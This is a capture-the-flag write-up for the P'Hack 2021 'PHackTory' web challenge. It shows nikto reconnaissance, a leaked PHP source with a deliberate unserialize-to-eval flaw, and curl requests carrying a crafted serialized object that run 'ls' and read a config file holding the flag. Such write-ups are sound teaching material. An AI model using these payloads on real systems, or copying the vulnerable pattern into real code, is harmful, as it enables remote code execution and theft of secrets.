/ctfs/p'hack ctf - 2021/web/phacktory


At the beginning, I thought there was no available enpoint. But, luckily, nikto found something.
┌──[fey ☣️ ️ kali] ⚔ [ 1]
└[~/CHALLS/CTF/PHACK/WEB/fuzzme] = = = >  nikto -h phacktory.phack.fr               
- Nikto v2.1.6
---------------------------------------------------------------------------
+ Target IP:          12.42.0.10
+ Target Hostname:    phacktory.phack.fr
+ Target Port:        80
+ Start Time:         2021-04-02 16:54:09 (GMT-4)
---------------------------------------------------------------------------
+ Server: Apache/2.4.38 (Debian)
+ Retrieved x-powered-by header: PHP/8.0.3
+ The anti-clickjacking X-Frame-Options header is not present.
+ The X-XSS-Protection header is not defined. This header can hint to the user agent to protect against some forms of XSS
+ The X-Content-Type-Options header is not set. This could allow the user agent to render the content of the site in a different fashion to the MIME type
+ No CGI Directories found (use -C all to force check all possible dirs)
+ /backup.zip: Potentially interesting archive/cert file found.
+ /backup.zip: Potentially interesting archive/cert file found. (NOTE: requested by IP address).

We can download backup.zip
┌──[fey ☣️ ️ kali] ⚔ 
└[~/CHALLS/CTF/PHACK/WEB/phacktory] = = = >  unzip backup.zip 
Archive:  backup.zip
   creating: images/
  inflating: index.php               
  inflating: images/background.jpg   
  inflating: images/favicon.png  

Let's check index.php
<?php

include("config.php");

// Easter chocolate creation factory
// WIP : Do not send to production, I think it not safe yet. I should ask to my master
//
//              __)),
//             //_ _)
//             ( "\"
//              \_-/
//          ,---/  '---.
//         /     - -    \
//        /  \_. _|__,/  \
//       /  )\        )\_ \
//      / _/  (   '  ) /  /
//     / |     (_____) | /
//    /,'      /     \/ /,
//  _/(_      (   ._, )-'
// `--,/      |____|__|
//            |    )  |
//            |   /   |
//            |  / \  |
//           / `|  | _)
//           |  |  |  |
//           |  /  \  |
//           | |    \ |
//           | \    | \_
//           /__(    '-._`,

class PHackTory {
    public $type;
    public $quantity;

    public function __construct() {
        if(isset($_POST['type'])) {
            $this -> type = $_POST['type'];
        } else {
            $this -> order = "milky";
        }

        if(isset($_POST['quantity'])) {
            $this -> quantity = $_POST['quantity'];
        } else {
            $this -> quantity = "50";
        }
    }

    public function __wakeup() {
      global $DEBUG;

      $types = ["dark", "white", "milky", "fruity", "95%", "flag"];
      $quantities = [1, 5, 10, 25, 50, 100, "PHACK{}"];

      if (isset($this -> type) && isset($this -> quantity)) {
        if(in_array($this -> type, $types) && in_array($this -> quantity, $quantities)) {
            prepareOrder($this);
            return "Votre commande de " . $this -> quantity . " chocholats ("  . $this -> type .  ") est en préparation.";
        }
        else {
          if ($DEBUG) {
            //Affichage des variables pour deboguer. Enfin..Je crois que c'est ça que ca fait.
            eval($this -> type . ' ' . $this -> quantity);
          }

          return "Il semble y avoir un problème avec votre commande. Merde de contacter quelqu'un d'autre.";
        }
      }
    }

    public function prepareOrder(){
      // ToDo
    }
}

$a = $_GET['what'];
$b = $_POST['is'];
$c = $_POST['cool'];
$d = $_GET['the'];

?>

<!doctype html>
<html lang="fr">
  <head>
    <meta charset="utf-8">
    <title>PHackTory</title>
    <link rel="icon" type="image/png" href="images/favicon.png" />
  </head>
  <body style="background-image: url('images/background.jpg'); background-size: cover;">

    <div style=" position: absolute;
                 left: 20%;
                 top: 25%;
                 width: 60%;
                 padding: 10px;
                 text-align: center;
                 background-color: white;
                 opacity: 0.7;
                 font-size: 3rem;">
       <h1 style="text-decoration: underline;">PHackTory</h1>
        <p>
          Votre magasin se prépare pour les fêtes. <br/>
          Les commandes ne sont pas encore ouvertes.
        </p>
      </div>

    <?php
      if(isset($a) && isset($b) && isset($c) && isset($d)) {
          if($d == "flag" && $a == "is") {
            if ($b > 1538) {
              $myOrder = unserialize($_GET['please']);
              return "Oui !";
            }
            else {
              return "Peut-être !";
            }
          }
          else {
            return "Certainement pas!";
          }
      }
      else {
        return "Non !";
      }
    ?>
  </body>
</html>

We are going to exploit php deserialization to call __wakeup() wich contains a call to eval()
Here is a normal serialize PHackTory class object
O:9:"PHackTory":3:{s:4:"type";N;s:8:"quantity";s:2:"50";s:5:"order";s:5:"milky";}

And here the one we are going to use:
O:9:"PHackTory":3:\{s:4:"type";s:8:"system(%27";s:8:"quantity";s:5:"ls%27);";s:5:"DEBUG";b:1;\}

So the eval function is going to act like so:
eval(system("ls"))
We need to add all the parameters to the request to validate conditions to execute this part of the code:
$myOrder = unserialize($_GET['please']);


Exploit

curl -X POST 'phacktory.phack.fr/index.php?what=is&the=flag&please=dd&please=O:9:"PHackTory":3:\{s:4:"type";s:8:"system(%27";s:8:"quantity";s:5:"ls%27);";s:5:"DEBUG";b:0;\}' --data 'is=20000&cool=truc' 

[...]
config-126546845171616835186.php
images
index.php

curl -X POST 'phacktory.phack.fr/index.php?what=is&the=flag&please=dd&please=O:9:"PHackTory":3:\{s:4:"type";s:8:"system(%27";s:8:"quantity";s:39:"cat%20config-126546845171616835186.php%27);";s:5:"DEBUG";b:0;\}' --data 'is=20000&cool=truc'

[...]
$FLAG="PHACK{l3s_cl0Ch3s_s0nT_p4s5ees_!}";
[...]
Nice and First blooded By the way ^^